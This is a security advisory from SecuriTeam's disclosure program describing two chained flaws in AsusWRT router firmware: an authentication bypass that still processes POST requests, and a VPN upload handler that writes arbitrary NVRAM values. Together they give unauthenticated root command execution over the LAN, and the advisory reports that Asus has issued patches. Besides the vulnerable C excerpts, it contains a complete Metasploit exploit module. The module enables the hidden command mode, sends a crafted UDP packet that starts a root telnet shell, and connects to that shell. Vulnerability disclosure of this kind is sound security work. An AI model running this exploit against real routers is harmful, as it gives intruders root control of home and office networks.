SSD Advisory – Hack2Win – Asus Unauthenticated LAN Remote Command Execution

blogs.securiteam.com/index.php/archives/3589

Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in AsusWRT Version 3.0.0.4.380.7743. The combination of the vulnerabilities leads to LAN remote command execution on any Asus router.

AsusWRT is "THE POWERFUL USER-FRIENDLY INTERFACE – The enhanced ASUSWRT graphical user interface gives you easy access to the 30-second, 3-step web-based installation process. It's also where you can configure AiCloud 2.0 and all advanced options. ASUSWRT is web-based, so it doesn't need a separate app, or restrict what you can change via mobile devices — you get full access to everything, from any device that can run a web browser"

The vulnerabilities found are:

- Access bypass
- Configuration manipulation

Credit
An independent security researcher, Pedro Ribeiro (pedrib_at_gmail.com), has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program.

Vendor response
Asus were informed of the vulnerabilities and released patches to address them (version 3.0.0.4.384_10007).

For more details: https://www.asus.com/Static_WebPage/ASUS-Product-Security-Advisory/

Vulnerabilities details
The AsusWRT handle_request() code allows an unauthenticated user to perform a POST request for certain actions.

AsusWRT_source/router/httpd/httpd.c:

```
1   handle_request(void)
2   {
3   ...
4   handler->auth(auth_userid, auth_passwd, auth_realm);
5   auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp);
6
7   if (auth_result != 0)                          <--- auth fails
8   {
9   if(strcasecmp(method, "post") == 0){
10  if (handler->input) {
11  handler->input(file, conn_fp, cl, boundary);       <--- but POST request is still processed
12  }
13  send_login_page(fromapp, auth_result, NULL, NULL, 0);
14  }
15  //if(!fromapp) http_logout(login_ip_tmp, cookies);
16  return;
17  }
18  ...
19  }
```

By POSTing to vpnupload.cgi, we invoke do_vpnupload_post(), which sets NVRAM configuration values directly from the request.

AsusWRT_source/router/httpd/web.c:

```
1   do_vpnupload_post(char *url, FILE *stream, int len, char *boundary)
2   {
3   ...
4   if (!strncasecmp(post_buf, "Content-Disposition:", 20)) {
5   if(strstr(post_buf, "name=\"file\""))
6   break;
7   else if(strstr(post_buf, "name=\"")) {
8   offset = strlen(post_buf);
9   fgets(post_buf+offset, MIN(len + 1, sizeof(post_buf)-offset), stream);
10  len -= strlen(post_buf) - offset;
11  offset = strlen(post_buf);
12  fgets(post_buf+offset, MIN(len + 1, sizeof(post_buf)-offset), stream);
13  len -= strlen(post_buf) - offset;
14  p = post_buf;
15  name = strstr(p, "\"") + 1;
16  p = strstr(name, "\"");
17  strcpy(p++, "\0");
18  value = strstr(p, "\r\n\r\n") + 4;
19  p = strstr(value, "\r");
20  strcpy(p, "\0");
21  //printf("%s=%s\n", name, value);
22  nvram_set(name, value);
23  }
24  }
25  ...
26  }
```

An attacker can trigger the vulnerabilities and reset the admin password.

Once that is done, the attacker can login to the web interface with the new password, enable SSH, reboot the router and login via SSH.

Another option is to abuse infosvr, which is a UDP daemon running on port 9999.

The daemon has a command mode which is only enabled if ateCommand_flag is set to 1.

This flag is only enabled in very special cases, but we can enable it using the VPN configuration upload technique described above.

Once that is done, all we need to do is send a PKT_SYSCMD to infosvr.

The daemon will read a command from the packet and execute it as root.

```
Packet structure (from AsusWRT_source/router/shared/iboxcom.h):
- Header
  typedef struct iboxPKTEx
  {
    BYTE ServiceID;
    BYTE PacketType;
    WORD OpCode;
    DWORD Info; // Or Transaction ID
    BYTE MacAddress[6];
    BYTE Password[32];   //NULL terminated string, string length:1~31, cannot be NULL string
  } ibox_comm_pkt_hdr_ex;

- Body
  typedef struct iboxPKTCmd
  {
    WORD len;
    BYTE cmd[420];
  } PKT_SYSCMD; // total 422 bytes
```

Proof of Concept

```
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AsusWRT LAN Unauthenticated Remote Code Execution',
      'Description'    => %q{
      The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
      perform a POST in certain cases. This can be combined with another vulnerability in
      the VPN configuration upload routine that sets NVRAM configuration variables directly
      from the POST request to enable a special command mode.
      This command mode can then be abused by sending a UDP packet to infosvr, which is running
      on port UDP 9999 to directly execute commands as root.
      This exploit leverages that to start telnetd in a random port, and then connects to it.
      It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
      },
      'Author'         =>
        [
          'Beyond Security'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', 'add later'],
```

```
30            ['Add', 'links']
31          ],
32        'Targets'        =>
33          [
34            [ 'AsusWRT < (add fixed version later)',
35              {
36                'Payload'        =>
37                  {
38                    'Compat'  => {
39                      'PayloadType'    => 'cmd_interact',
40                      'ConnectionType' => 'find',
41                    },
42                  },
43              }
44            ],
45          ],
46        'Privileged'     => true,
47        'Platform'       => 'unix',
48        'Arch'           => ARCH_CMD,
49        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
50        'DisclosureDate'  => '',
51        'DefaultTarget'   => 0))
52      register_options(
53        [
54          Opt::RPORT(9999)
55        ])
56
57      register_advanced_options(
58        [
59          OptInt.new('ASUSWRTPORT', [true,  'AsusWRT HTTP portal port', 80])
60        ])
61    end
62
63    def exploit
64      # first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
65      # this attack can also be used to overwrite the web interface password and achieve RCE by enabling
66    SSH and rebooting!
67      post_data = Rex::MIME::Message.new
68      post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data;
69    name=\"ateCommand_flag\"")
70
71      data = post_data.to_s
72
73      res = send_request_cgi({
74        'uri'    => "/vpnupload.cgi",
75        'method' => 'POST',
76        'rport'  => datastore['ASUSWRTPORT'],
77        'data'   => data,
78        'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
79      })
80
```

```
81      if res and res.code == 200
82        print_good("#{peer} - Successfully set the ateCommand_flag variable.")
83      else
84        fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
85      end
86
87
88      # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments
89    above.
90      info_pdu_size = 512                     # expected packet size, not sure what the extra bytes are
91      r = Random.new
92
93      ibox_comm_pkt_hdr_ex  =
94          [0x0c].pack('C*') +                 # NET_SERVICE_ID_IBOX_INFO 0xC
95          [0x15].pack('C*') +                 # NET_PACKET_TYPE_CMD 0x15
96          [0x33,0x00].pack('C*') +            # NET_CMD_ID_MANU_CMD 0x33
97          r.bytes(4) +                        # Info, don't know what this is
98          r.bytes(6) +                        # MAC address
99          r.bytes(32)                         # Password
100
101     telnet_port = rand((2**16)-1024)+1024
102     cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
103     pkt_syscmd =
104         [cmd.length,0x00].pack('C*') +        # cmd length
105         cmd                                   # our command
106
107     pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex +
108   pkt_syscmd).length)
109
110     connect_udp
111     udp_sock.put(pkt_final)                   # we could process the response, but we don't care
112     disconnect_udp
113
114     print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #
115   {telnet_port}")
116     sleep(10)
117
118     begin
119       ctx = { 'Msf' => framework, 'MsfExploit' => self }
120       sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx,
121   'Timeout' => 10 })
122       if not sock.nil?
123         print_good("#{peer} - Success, shell incoming!")
124         return handler(sock)
125       end
126     rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,
      Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
        sock.close if sock
      end

      print_bad("#{peer} - Well that didn't work... try again?")
```

```
    end
end
```